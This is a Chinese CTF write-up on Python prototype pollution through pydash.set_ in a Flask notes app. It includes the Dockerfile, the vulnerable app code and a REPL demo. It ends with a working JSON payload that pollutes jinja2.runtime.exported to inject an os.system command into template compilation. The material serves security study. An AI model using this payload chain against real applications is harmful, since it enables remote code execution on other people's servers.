Pydash 原型链污染

环境安装

出题人创建了一个 getflag 文件读取 flag,并设置了权限,也就意味着只能通过命令执行的方式获取 flag,而不能使用任意文件读取的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
FROM ubuntu

COPY sources.list /etc/apt/
RUN apt update && apt install python3 python3-pip gcc -y
RUN pip3 install flask flask-session pydash==5.1.0
RUN mkdir -p /app /app/templates

COPY app.py /app/app.py
COPY flag /flag
COPY getflag.c /tmp/getflag.c
RUN gcc /tmp/getflag.c -o /getflag
RUN groupadd -r ctf && useradd -r -g ctf ctf
RUN chmod 600 /flag && chmod 4755 /getflag && chown -R ctf:ctf /app

WORKDIR /app/
USER ctf
CMD ["python3", "app.py"]

代码分析

打开 app.py,使用的是 flask 框架搭建的一个简单 Web 应用。

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
from flask import Flask, session, request, render_template, jsonify, redirect, url_for
from cachelib.file import FileSystemCache
from flask_session import Session
from secrets import token_hex
from os.path import join
from pydash import set_
from hashlib import md5
import json
import os

# routes
set_form_html = """
<!DOCTYPE html>
<html>
<head>
<title>添加备忘录</title>
</head>
<body>
<form id="myForm">
<input type="hidden" name="name" value="notes">
<textarea type="notes" id="notes" name="value"></textarea><br><br>
<button type="button" onclick="send()">提交</button>
</form>
<script>
function send() {
const form = document.getElementById('myForm');
const formData = new FormData(form);

const jsonData = {};
formData.forEach((value, key) => {
jsonData[key] = value;
});

fetch('/set', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(jsonData)
})
.then(response => {
console.log('Response:', response);
})
.catch(error => {
console.error('Error:', error);
});
location.reload();
}
</script>
</body>
</html>
"""

note_render_html = """<!DOCTYPE html>
<html>
<head>
<title>备忘录</title>
</head>
<body>
<h1>下列是IP来自 {{remote_addr}} 的用户设置的备忘录: </h1>
<h2> {{ notes }} </h2>
<br>
<br>
<h3> 添加备忘录 </h3>
<form id="myForm">
<input type="hidden" name="name" value="notes">
<textarea type="notes" id="notes" name="value"></textarea><br><br>
<button type="button" onclick="send()">提交</button>
</form>
<script>
function send() {
const form = document.getElementById('myForm');
const formData = new FormData(form);

const jsonData = {};
formData.forEach((value, key) => {
jsonData[key] = value;
});

fetch('/set', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(jsonData)
})
.then(response => {
console.log('Response:', response);
})
.catch(error => {
console.error('Error:', error);
});
location.reload();
}
</script>
</body>
</html>"""


class Notes:
def __init__(self, remote_addr=""):
self.note_hash = md5(remote_addr.encode()).hexdigest()[20:30]
try:
self.notes = json.load(open(f"templates/{self.note_hash}.json", "r"))
except:
self.notes = ""
if not os.path.exists(f"templates/{self.note_hash}.html"):
open(f"templates/{self.note_hash}.html", "w").write(note_render_html)

def get_notes(self):
return self.notes

def update(self):
try:
self.notes = json.load(open(f"templates/{self.note_hash}.json", "r"))
except Exception as e:
print(e)
self.notes = ""

def save_notes(self):
json.dump(self.notes, open(f"templates/{self.note_hash}.json", "w"))


class LocalCache(FileSystemCache):
def _get_filename(self, key: str) -> str:
if ".." in key:
key = token_hex(8)
return join(self._path, key)


# init
app = Flask(__name__)
app.config["SESSION_PERMANENT"] = False
app.config["SESSION_TYPE"] = "filesystem"


# Session(app)
# app.session_interface.cache = LocalCache("flask_session")

@app.route("/", methods=["GET"])
def index():
return redirect(url_for('get'))


@app.route("/set", methods=["GET", "POST"])
def set():
notes = Notes(request.remote_addr)
if request.method == "GET":
return set_form_html
else:
body = request.json
key, value = body['name'], body['value']
set_(notes, key, value)
return render_template(f"{notes.note_hash}.html", notes=notes.get_notes(), remote_addr=request.remote_addr)


@app.route("/get", methods=["GET"])
def get():
# tips
# 有的时候会出现显示问题,检查下列变量,如果不对就及时修改回来。
if app.jinja_loader.searchpath != ["/app/templates"]:
app.jinja_loader.searchpath = ["/app/templates"]
if app.jinja_loader.encoding != "utf-8":
app.jinja_loader.encoding = "utf-8"
notes = Notes(request.remote_addr)
return render_template(f"{notes.note_hash}.html", notes=notes.notes, remote_addr=request.remote_addr)


# main
if __name__ == "__main__":
app.run("0.0.0.0", 6000, debug=True)

最主要的由两个视图函数组成。set() 和 get(),set() 用来获取用户输入的一组 json 数据,并通过 pydash.set_ 加到 notes 对象中。get() 则是通过模板显示用户输入的内容。

其中关键点似乎只有一个pydash.set_,写入这种 key,value 格式并且用户可控就容易导致原型链污染。

image-20231218155044711

具体原型链污染可以参考:https://blog.abdulrah33m.com/prototype-pollution-in-python/

就像 Javascript 中的原型链污染一样,这种攻击方式可以在 Python 中实现对类属性值的污染。

例如下面的例子,通过 set_() 通过原型链污染可以对原本的值进行修改。

1
2
3
4
5
6
7
8
9
>>> from pydash import set_
>>> class User:
... def __init__(self):
... pass
...
>>> test_str = '12345'
>>> set_(User(),'__class__.__init__.__globals__.test_str','789666')
>>> print(test_str)
789666

但是出题人使用了多种方式限制了通过任意文件读取的方法拿到 flag,也就是不能通过修改 jinja2 中os.path.pardir的值绕过路径检查。也不能通过修改os.path.pardir更改目录。且在导入包的时候,只导入了 pydash 中的 set_ 方法,防止了做题者直接使用网上原型链污染的 payload 拿到 flag。

因此只能通过将代码注入到模板中才能进行命令执行。

代码调试

搜集相关信息后,发现可以通过利用 jinja2 编译模板时的包进行利用,源码如下。

image-20231218162008783

调试获取 exported 的值,是导入的包列表,只要在导入的时候拼接命令就可以进行命令执行。

WechatIMG323

命令执行

payload

1
2
3
4
5
POST /set HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json

{"name":"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0","value":"*;import os;os.system('id')"}